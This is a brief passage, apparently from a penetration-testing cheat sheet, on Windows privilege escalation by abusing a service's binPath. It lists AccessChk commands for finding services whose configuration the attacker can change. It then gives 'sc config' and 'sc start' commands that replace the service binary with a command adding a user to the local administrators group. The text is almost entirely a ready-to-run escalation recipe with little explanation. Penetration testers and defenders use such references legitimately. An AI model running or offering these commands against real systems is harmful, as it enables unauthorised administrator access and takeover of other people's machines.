binarybinPath

For this method, we must have the SERVICE_CHANGE_CONFIG permission for the service we are trying to attack. We can use the AccessChk tool for this:

# Check specific service
AccessChk -wuvc [service]

# Check all
AccessChk -wuvc Everyone *

# insert our malicious command:
sc config [service] binpath= "net localgroup administrators user /add"
sc start [service]

Last updated